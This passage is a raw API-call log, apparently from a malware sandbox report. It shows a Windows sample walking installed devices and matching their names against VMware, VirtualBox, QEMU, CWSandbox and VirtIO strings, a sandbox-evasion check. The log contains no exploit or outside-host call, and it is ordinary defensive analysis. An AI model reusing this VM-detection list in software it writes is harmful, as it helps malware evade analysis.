PropertyBuffer=0x26ef908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.840] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Pointing") returned 0x0 [0279.840] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Accelerated") returned 0x0 [0279.840] StrStrIA (lpFirst="????? ???????", lpSrch="VMware SCSI") returned 0x0 [0279.840] StrStrIA (lpFirst="????? ???????", lpSrch="VMware SVGA") returned 0x0 [0279.840] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Replay") returned 0x0 [0279.840] StrStrIA (lpFirst="????? ???????", lpSrch="VMware server memory") returned 0x0 [0279.840] StrStrIA (lpFirst="????? ???????", lpSrch="CWSandbox") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="Virtual HD") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="QEMU") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="srootkit") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="VMware VMaudio") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="VMware Vista") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="VBoxVideo") returned 0x0 [0279.841] StrStrIA (lpFirst="????? ???????", lpSrch="VBoxGuest") returned 0x0 [0279.841] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.841] GetLastError () returned 0xd [0279.841] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x2c, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.841] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.846] GetLastError () returned 0x7a [0279.846] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x17, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware Pointing") returned 0x0 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware Accelerated") returned 0x0 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware SCSI") returned 0x0 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware SVGA") returned 0x0 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware Replay") returned 0x0 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware server memory") returned 0x0 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="CWSandbox") returned 0x0 [0279.850] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="Virtual HD") returned 0x0 [0279.851] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="QEMU") returned 0x0 [0279.851] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="Red Hat VirtIO") returned 0x0 [0279.851] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="srootkit") returned 0x0 [0279.851] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware VMaudio") returned 0x0 [0279.851] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VMware Vista") returned 0x0 [0279.851] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VBoxVideo") returned 0x0 [0279.851] StrStrIA (lpFirst="ACPI Fixed Feature ???", lpSrch="VBoxGuest") returned 0x0 [0279.851] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.851] GetLastError () returned 0xd [0279.851] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x2d, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.851] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.856] GetLastError () returned 0x7a [0279.856] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x2b, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware Pointing") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware Accelerated") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware SCSI") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware SVGA") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware Replay") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware server memory") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="CWSandbox") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="Virtual HD") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="QEMU") returned 0x0 [0279.860] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="Red Hat VirtIO") returned 0x0 [0279.861] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="srootkit") returned 0x0 [0279.861] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware VMaudio") returned 0x0 [0279.861] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VMware Vista") returned 0x0 [0279.861] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VBoxVideo") returned 0x0 [0279.861] StrStrIA (lpFirst="Intel(R) 82574L Gigabit Network Connection", lpSrch="VBoxGuest") returned 0x0 [0279.861] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.861] GetLastError () returned 0x7a [0279.861] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xb, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="vmxnet") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="vmscsi") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="VMAUDIO") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="vmdebug") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="vm3dmp") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="vmrawdsk") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="vmx_svga") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="ansfltr") returned 0x0 [0279.862] StrStrIA (lpFirst="e1iexpress", lpSrch="sbtisht") returned 0x0 [0279.862] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x2e, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.862] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.865] GetLastError () returned 0x7a [0279.865] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.868] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Pointing") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Accelerated") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SCSI") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SVGA") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Replay") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="VMware server memory") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="CWSandbox") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="Virtual HD") returned 0x0 [0279.869] StrStrIA (lpFirst="???????? ????", lpSrch="QEMU") returned 0x0 [0279.869] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.870] GetLastError () returned 0xd [0279.870] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x2f, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.870] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.877] GetLastError () returned 0x7a [0279.911] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef908 [0279.911] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.917] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efbb8 [0279.917] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.917] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef928 [0279.917] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.917] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0279.917] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efba0 [0279.917] lstrlenA (lpString="VMware SCSI") returned 11 [0279.917] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.917] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa20 [0279.917] lstrlenA (lpString="VMware SVGA") returned 11 [0279.917] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0279.917] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb70 [0279.917] lstrlenA (lpString="VMware Replay") returned 13 [0279.917] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0279.918] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef928 [0279.918] lstrlenA (lpString="VMware server memory") returned 20 [0279.918] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0279.918] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb10 [0279.918] lstrlenA (lpString="CWSandbox") returned 9 [0279.918] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.918] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efbb8 [0279.918] lstrlenA (lpString="Virtual HD") returned 10 [0279.918] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.918] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef778 [0279.918] lstrlenA (lpString="QEMU") returned 4 [0279.918] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef778 | out: hHeap=0x2670000) returned 1 [0279.918] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb88 [0279.918] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.918] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.918] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa50 [0279.918] lstrlenA (lpString="srootkit") returned 8 [0279.918] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.918] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa80 [0279.919] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.919] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0279.919] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efba0 [0279.919] lstrlenA (lpString="VMware Vista") returned 12 [0279.919] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.919] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0279.919] lstrlenA (lpString="VBoxVideo") returned 9 [0279.919] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.919] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa68 [0279.919] lstrlenA (lpString="VBoxGuest") returned 9 [0279.919] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0279.919] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.919] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.919] GetLastError () returned 0xd [0279.919] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x30, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.919] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.926] GetLastError () returned 0x7a [0279.926] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x2c) returned 0x26ef908 [0279.926] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x16, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.931] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efac8 [0279.932] lstrlenA (lpString="VMware Pointing") returned 15 [0279.932] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0279.932] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef940 [0279.932] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.932] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0279.932] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efbb8 [0279.932] lstrlenA (lpString="VMware SCSI") returned 11 [0279.932] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.932] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0279.932] lstrlenA (lpString="VMware SVGA") returned 11 [0279.932] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0279.932] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa80 [0279.932] lstrlenA (lpString="VMware Replay") returned 13 [0279.932] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0279.932] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef940 [0279.932] lstrlenA (lpString="VMware server memory") returned 20 [0279.933] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0279.933] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0279.933] lstrlenA (lpString="CWSandbox") returned 9 [0279.933] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.933] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb40 [0279.933] lstrlenA (lpString="Virtual HD") returned 10 [0279.933] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0279.933] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef828 [0279.933] lstrlenA (lpString="QEMU") returned 4 [0279.933] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0279.933] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa98 [0279.933] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.933] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0279.933] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efab0 [0279.933] lstrlenA (lpString="srootkit") returned 8 [0279.933] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.933] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efab0 [0279.934] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.934] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.934] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efba0 [0279.934] lstrlenA (lpString="VMware Vista") returned 12 [0279.934] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.934] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efab0 [0279.934] lstrlenA (lpString="VBoxVideo") returned 9 [0279.934] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.934] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0279.934] lstrlenA (lpString="VBoxGuest") returned 9 [0279.934] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.934] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.934] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.934] GetLastError () returned 0xd [0279.935] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x31, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.935] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.938] GetLastError () returned 0x7a [0279.938] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x2e) returned 0x26ef908 [0279.938] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x17, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.942] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb58 [0279.942] lstrlenA (lpString="VMware Pointing") returned 15 [0279.942] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0279.942] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef940 [0279.943] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.943] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0279.943] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efab0 [0279.943] lstrlenA (lpString="VMware SCSI") returned 11 [0279.943] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.943] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb70 [0279.943] lstrlenA (lpString="VMware SVGA") returned 11 [0279.943] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0279.943] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efaf8 [0279.943] lstrlenA (lpString="VMware Replay") returned 13 [0279.943] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0279.943] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef940 [0279.943] lstrlenA (lpString="VMware server memory") returned 20 [0279.943] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef940 | out: hHeap=0x2670000) returned 1 [0279.943] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efbb8 [0279.943] lstrlenA (lpString="CWSandbox") returned 9 [0279.944] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.944] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb40 [0279.944] lstrlenA (lpString="Virtual HD") returned 10 [0279.944] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0279.944] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef8d8 [0279.944] lstrlenA (lpString="QEMU") returned 4 [0279.944] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8d8 | out: hHeap=0x2670000) returned 1 [0279.944] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa98 [0279.944] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.944] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0279.944] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa20 [0279.944] lstrlenA (lpString="srootkit") returned 8 [0279.944] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0279.944] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa68 [0279.944] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.944] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0279.945] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efba0 [0279.945] lstrlenA (lpString="VMware Vista") returned 12 [0279.945] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.945] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0279.945] lstrlenA (lpString="VBoxVideo") returned 9 [0279.945] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.945] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb88 [0279.945] lstrlenA (lpString="VBoxGuest") returned 9 [0279.945] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.945] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.945] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.945] GetLastError () returned 0x7a [0279.946] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1e) returned 0x26ef908 [0279.946] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, 